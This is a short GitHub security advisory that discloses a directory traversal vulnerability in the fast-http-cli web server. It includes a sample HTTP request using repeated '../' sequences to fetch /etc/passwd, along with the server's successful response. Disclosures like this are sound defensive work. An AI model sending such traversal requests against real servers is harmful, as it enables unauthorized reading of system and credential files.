Directory Traversal in fast-http-cli

2018-07-23T20:46:25
ID GHSA-9FRQ-F867-HGQC
Type github
Reporter GitHub Advisory Database
Modified 2021-01-08T19:04:10

Description

fast-http-cli is the command line interface for fast-http, a simple web server.

fast-http-cli is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example Request: GET /../../../../../../../../../../etc/passwd HTTP/1.1 host: localhost and server Response: ``` HTTP/1.1 200 OK Date: Thu, 04 May 2017 23:59:18 GMT Connection: keep-alive Transfer-Encoding: chunked

{contents of /etc/passwd} ```

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.